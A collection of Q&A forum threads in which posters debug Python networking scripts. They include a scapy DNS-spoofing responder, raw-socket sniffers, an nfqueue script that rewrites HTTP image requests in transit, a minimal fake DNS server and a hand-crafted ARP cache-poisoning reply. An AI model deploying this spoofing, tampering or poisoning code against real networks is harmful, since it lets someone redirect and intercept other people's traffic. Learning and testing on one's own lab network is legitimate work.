I tried to sniff DNS request packets on mon0 interface, using scapy.
I wanted to send back a spoofed IP.
But I get an error:
AttributeError: 'Ether' object has no attribute 'FCfield'
Code:
def send_response(x):
x.show()
req_domain = x[DNS].qd.qname
logger.info('Found request for ' + req_domain)
# First, we delete the existing lengths and checksums..
# We will let Scapy re-create them
del(x[UDP].len)
del(x[UDP].chksum)
del(x[IP].len)
del(x[IP].chksum)
response = x.copy()
response.FCfield = '2L'
response.addr1, response.addr2 = x.addr2, x.addr1
# Switch the IP addresses
response.src, response.dst = x.dst, x.src
# Switch the ports
response.sport, response.dport = x.dport, x.sport
# Set the DNS flags
response[DNS].qr = '1L'
response[DNS].ra = '1L'
response[DNS].ancount = 1
response[DNS].an = DNSRR(
rrname = req_domain,
type = 'A',
rclass = 'IN',
ttl = 900,
rdata = spoofed_ip
)
#inject the response
sendp(response)
logger.info('Sent response: ' + req_domain + ' -> ' + spoofed_ip + '\n')
def main():
logger.info('Starting to intercept [CTRL+C to stop]')
sniff(prn=lambda x: send_response(x), lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)
Your interface is probably not configured in monitor mode, that's why you get an ethernet (Ether) layer, and not a WiFi (Dot11) layer.
Related
I followed the tutorial below to implement a packet sniffer in Python:
http://www.binarytides.com/python-packet-sniffer-code-linux/
On receiving each UDP packet, I would like to send an already saved pcap file (test.pcap). The following snippet shows my implementation:
# receive a packet
while True:
packet = s.recvfrom(65565)
#packet string from tuple
packet = packet[0]
#parse ethernet header
eth_length = 14
eth_header = packet[:eth_length]
eth = unpack('!6s6sH' , eth_header)
eth_protocol = socket.ntohs(eth[2])
print 'Destination MAC : ' + eth_addr(packet[0:6]) + ' Source MAC : ' +
eth_addr(packet[6:12]) + ' Protocol : ' + str(eth_protocol)
if eth_addr(packet[6:12]) != my_MAC_address:
#Parse IP packets, IP Protocol number = 8
if eth_protocol == 8 :
#Parse IP header
#take first 20 characters for the ip header
ip_header = packet[eth_length:20+eth_length]
#now unpack them :)
iph = unpack('!BBHHHBBH4s4s' , ip_header)
version_ihl = iph[0]
version = version_ihl >> 4
ihl = version_ihl & 0xF
iph_length = ihl * 4
ttl = iph[5]
protocol = iph[6]
s_addr = socket.inet_ntoa(iph[8]);
d_addr = socket.inet_ntoa(iph[9]);
print 'Version : ' + str(version) + ' IP Header Length : ' + str(ihl) + ' TTL : ' + str(ttl) + ' Protocol : ' + str(protocol) + ' Source Address : ' + str(s_addr) + ' Destination Address : ' + str(d_addr)
#UDP packets
if protocol == 17 :
u = iph_length + eth_length
udph_length = 8
udp_header = packet[u:u+8]
#now unpack them :)
udph = unpack('!HHHH' , udp_header)
source_port = udph[0]
dest_port = udph[1]
length = udph[2]
checksum = udph[3]
print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(length) + ' Checksum : ' + str(checksum)
h_size = eth_length + iph_length + udph_length
data_size = len(packet) - h_size
#get data from the packet
data = packet[h_size:]
print 'Data : ' + data
my_pkt = rdpcap("test.pcap")
sendp(my_pkt)
Test.pcap contains a UDP packet with UDP_src=7777 and UDP_dest=9999.
Traffic is generated using netcat as follows:
nc -u -p 7777 ip_dst_addr 9999
The sniffer can receive only first netcat msg and send test.pcap in response. But subsequent netcat msgs are not received at all. However, using any other combination of UDP ports in netcat, the sniffer works fine. For example: running netcat as:
nc -u -p 8888 ip_dst_addr 9999
there is no problem and I am able to send test.pcap in response to each UDP packet/msg.
Any help would be greatly appreciated!
Scapy has several built-in sniffers, that are really easy to use.
>>> help(sniff)
Help on function sniff in module scapy.arch.windows.compatibility:
sniff(count=0, store=1, offline=None, prn=None, stop_filter=None, lfilter=None, L2socket=None, timeout=None, *arg, **karg)
Sniff packets
sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets
Select interface to sniff by setting conf.iface. Use show_interfaces() to see interface names.
count: number of packets to capture. 0 means infinity
store: whether to store sniffed packets or discard them
prn: function to apply to each packet. If something is returned,
it is displayed. Ex:
ex: prn = lambda x: x.summary()
filter: provide a BPF filter
lfilter: python function applied to each packet to determine
if further action may be done
ex: lfilter = lambda x: x.haslayer(Padding)
offline: pcap file to read packets from, instead of sniffing them
timeout: stop sniffing after a given time (default: None)
L2socket: use the provided L2socket
stop_filter: python function applied to each packet to determine
if we have to stop the capture after this packet
ex: stop_filter = lambda x: x.haslayer(TCP)
Which means you could simply do:
packets = rdpcap("test.pcap")
sniff(lfilter=lambda x: x.haslayer(UDP) and x[Ether].src==sending_mac and x[UDP].sport==port, prn=lambda x: send(packets))
This will append all UDP packets to the test.pcap file
I'm attempting to read incoming/outgoing TCP packets through an interface on the host for a project I'm working on. I really want this to be done using sockets instead of using a library like scapy or pypcap. To have a better understanding of what is happening as well as more control over what is happening. This is on a Windows10 system.
import socket
import threading
from PacketParse import PacketParse
host = socket.gethostbyname(socket.gethostname())
sniff = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
sniff.bind((host, 0))
#include ip headers - IP PROTOCOL, IP HEADER INCLUDE
sniff.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
#receive all packages - INPUT OUTPUT CONTROL
sniff.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
def start_sniffing():
while True:
raw_packet = sniff.recvfrom(2000)
packet = PacketParse(raw_packet)
if packet:
print(packet.src_addr + ":" + str(packet.src_port) + " --> " + packet.dst_addr + ":" + str(packet.dst_port) + " Protocol: " + packet.ip_prot + "(" + str(packet.ip_prot_raw) + ")")
print("Data(" + str(packet.data_size) + "): " + str(packet.data))
#file.write(packet.src_addr + ":" + str(packet.src_port) + " --> " + packet.dst_addr + ":" + str(packet.dst_port) + " Protocol: " + packet.ip_prot + "(" + str(packet.ip_prot_raw) + ")")
#file.write("Data(" + str(packet.data_size) + "): " + str(packet.data))'''
file = open("dump.txt", "a")
t = threading.Thread(target=start_sniffing)
t.start()
t.join()
file.close()
sniff.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
PacketParse is a class I made to 'unpack' the packet. I've been using Python documentation for most of this script and tutorials for sniffing packets from many sources.
from struct import unpack
class PacketParse:
def __init__(self, packet):
self.extract(packet)
def extract(self, packet):
# extract ip header
packet = packet[0]
self.packet_raw = packet
'''
eth_raw = packet[:14]
eth_hdr = unpack('!6s6sH', eth_raw)
self.eth_prot = socket.ntohs(eth_hdr[2])
self.src_mac =
'''
ip_raw = packet[0:20]
ip_hdr = unpack('!BBHHHBBH4s4s', ip_raw)
#self.ip_length = ip_hdr[5]
self.ip_prot_raw = ip_hdr[6]
self.ip_prot = self.ip_prot_parse(ip_hdr[6])
self.src_addr = socket.inet_ntoa(ip_hdr[8])
self.dst_addr = socket.inet_ntoa(ip_hdr[9])
version = ip_hdr[0] >> 4
ihl_length = version & 0xF
iph_len = ihl_length * 4
tcp_raw = packet[20:40]
tcp_hdr = unpack('!HHLLBBHHH', tcp_raw)
self.src_port = tcp_hdr[0]
self.dst_port = tcp_hdr[1]
self.seq_num = tcp_hdr[2]
self.ack_num = tcp_hdr[3]
doff_reserved = tcp_hdr[4]
tcp_length = doff_reserved >> 4
header_size = (iph_len) + (tcp_length * 4)
self.data_size = len(packet) - header_size
self.data = packet[header_size:]
def ip_prot_parse(self, num):
return {
1: 'ICMP',
6: 'TCP',
17: 'UDP',
}.get(num, "Unknown")
The issue is this only shows packets being sent out from this host. Incoming packets are not displayed. A different script I've tried using scapy is capable of displaying incoming packets as well. Why is this happening? SIO_RCVALL should be allowing ALL packets being touched by the interface to be seen. I haven't tried a Linux equivalent of this script... so I don't know if the problem is specific on Windows. Most TCP reading scripts I've found have been Linux specific.
Alright... so it seems the problem was my firewall. When I turn it off, I can see all incoming packets just fine. That was a bit annoying. I believe there is a python library that allows you to edit firewall settings.
https://github.com/austin-taylor/bluewall
I haven't played around with it yet... it could be interesting. I haven't read into it enough yet to understand if this is what it seems. I believe it only gives you the configuration on Windows without changing anything. It could be fun on a Linux system.
I'm new to nfqueue and am trying to change a packet's payload using it.
however, when I poll the payload from the 'set-ed' packet(simply named 'packet' in the following snippet), i get the original payload of the packet before the change.
even-though when i read scapkt[TCP].payload it has the right payload.
where did i go wrong? (change_image is the callback)
def change_image(packet):
scapkt = IP(packet.get_payload())
#is a TCP packet
if scapkt.proto == 6:
data = str(scapkt[TCP].payload)
getImage = re.search('GET [a-zA-Z0-9/]{1,}\.(jpg|JPG|jpeg|JPEG|png|PNG) HTTP/1.1\r\nHost: [a-zA-Z0-9\.]{1,}', data)
if getImage != None:
original_len = len(scapkt[TCP].payload)
data = data.replace(getImage.group(), 'GET ' + image + ' HTTP/1.1\r\nHost: ' + host)
scapkt[TCP].payload = data
postMod_len = len(scapkt[TCP].payload)
scapkt[IP].len = original_len + (postMod_len - original_len)
del scapkt[IP].chksum
del scapkt[TCP].chksum
packet.set_payload(str(scapkt))
print packet.get_payload()
packet.accept()
I am using the NetfilterQueue fork by the awesome fqrouter
FYI: i know this code might not work as intended, but I'm learning to work with nfqueue and am trying to write a simple PoC
I'm trying to write my own dns server with python code. So, I send dns request from my computer to my gateway (which i get from ipconfig-> default gateway). The request reaches to my server and when I'm trying to response, it seems like the dns response not reaching the client destination (at this case my computer).
On the client i get "Standard query response Server failure" instead of regular dns response.
What am I doing wrong? How can I fix it?
Client wireshark:
Server wireshark:
Client code:
def ConvertToDnsNameFormat(name) :
result = ""
lock = 0
name += "."
length = len(name)
for i in range(0, length) :
if name[i] == "." :
result += chr(i-lock)
while lock < i :
result += name[lock]
lock = lock + 1
lock = lock + 1
result += (chr(0))
return result
hostname= "random1231.ns.cs.colman.ac.il"
hostname = ConvertToDnsNameFormat(hostname)
format = '!HHHHHH' + str(len(hostname)) + 'sHH' # the DNS query format
dnsMessage = pack(format, 1234, 256, 1, 0, 0, 0, hostname, 1, 1) # create the massage
#my gateway
HOST_IP = "192.168.1.1"
PORT = 53
AF = socket.AF_INET
TYPE = socket.SOCK_DGRAM
PROTO = socket.IPPROTO_UDP
mySocket = socket.socket(AF, TYPE, PROTO)
mySocket.sendto(dnsMessage, (HOST_IP, PORT))
(resp, address) = mySocket.recvfrom(1024)
Server code:
I took this code from here
import socket
class DNSQuery:
def __init__(self, data):
self.data=data
self.dominio=''
tipo = (ord(data[2]) >> 3) & 15 # Opcode bits
if tipo == 0: # Standard query
ini=12
lon=ord(data[ini])
while lon != 0:
self.dominio+=data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(data[ini])
def respuesta(self, ip):
packet=''
if self.dominio:
packet+=self.data[:2] + "\x81\x80"
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts
packet+=self.data[12:] # Original Domain Name Question
packet+='\xc0\x0c' # Pointer to domain name
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP
return packet
if __name__ == '__main__':
ip='192.168.1.1'
print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('10.10.250.40',53))
try:
while 1:
data, addr = udps.recvfrom(1024)
p=DNSQuery(data)
udps.sendto(p.respuesta(ip), addr)
print 'Respuesta: %s -> %s' % (p.dominio, ip)
except KeyboardInterrupt:
print 'Finalizando'
udps.close()
That's probably because the server is failing. Try to do a ping to random1231.ns.cs.colman.ac.il, you'll see that with that domain, the response is server failure:
So, the miniDNS program is not capturing the DNS requests. Did you try installing it on your localhost address? (127.0.0.1, say port 4567) and configure your DNS service to that address.
Okay, so I'm running Ubunutu 14.04 LTS, and I'm trying to poison my own ARP Cache, by doing this,
my private IP address is 10.0.0.1.
My phone's private IP address is 10.0.0.8.
for this example only let's say my MAC address is axaxaxaxaxax.
I've wrote the following python code:
from binascii import *
from struct import *
import socket;
class ethernetframe:
def __init__(self, destmac, srcmac, ethrtype):
self.destmac = unhexlify(destmac)
self.srcmac = unhexlify(srcmac)
self.ethrtype = unhexlify(ethrtype)
def uniteframe(self, payload):
frame = ''
frame = frame + self.destmac
frame = frame + self.srcmac
frame = frame + self.ethrtype
frame = frame + payload
frame = frame + unhexlify("00000000")
return frame
class arppacket:
def __init__(self,opcode,srcmac,srcip,dstmac,dstip):
if opcode == 1:
dstmac = "000000000000"
opcode = "0001"
else:
opcode = "0002"
self.opcode = unhexlify(opcode)
self.srcmac = unhexlify(srcmac)
self.srcip = pack('!4B',srcip[0],srcip[1],srcip[2],srcip[3])
self.dstmac = unhexlify(dstmac)
self.dstip = pack('!4B',dstip[0],dstip[1],dstip[2],dstip[3])
def unitepacket(self):
packet = ''
packet = packet + "\x00\x01\x08\x00\x06\x04"
packet = packet + self.opcode
packet = packet + self.srcmac
packet = packet + self.srcip
packet = packet + self.dstmac
packet = packet + self.dstip
return packet
e1 = ethernetframe("axaxaxaxaxax","axaxaxaxaxax","0800")
arp1 = arppacket(2,"axaxaxaxaxax",(10,0,0,8),"axaxaxaxaxax",(10,0,0,1))
arpacket = arp1.unitepacket()
fullethframe = e1.uniteframe(arpacket)
s = socket.socket(socket.AF_PACKET,socket.SOCK_RAW,socket.htons(0x0806))
s.bind(("eth0",0))
s.send(fullethframe)
now, I'm monitoring this whole process with Wireshark, the ARP packet is being send and it is formed correctly, In wire shark I see the following line:
10.0.0.8 is at axaxaxaxaxax
This means that I have successfully sent an ARP reply! to my own computer, stating that the MAC address that is resolved for 10.0.0.8 is axaxaxaxaxax
since ARP cache automatically update if a reply is received REGARDLESS if a request was sent, this means that in my NIC driver's arp cache there should've been a line added stating that
10.0.0.8 is resolved with axaxaxaxaxax
however, when I run inside my ubunutu's terminal
arp - a
or
arp - an
it doesn't show up....., which means I've failed to poison my own ARP cache, any ideas how to fix this?
Just a thought here - did you try
arp -an
Without the -n, arp will try to do a reverse name lookup on the hostname(s).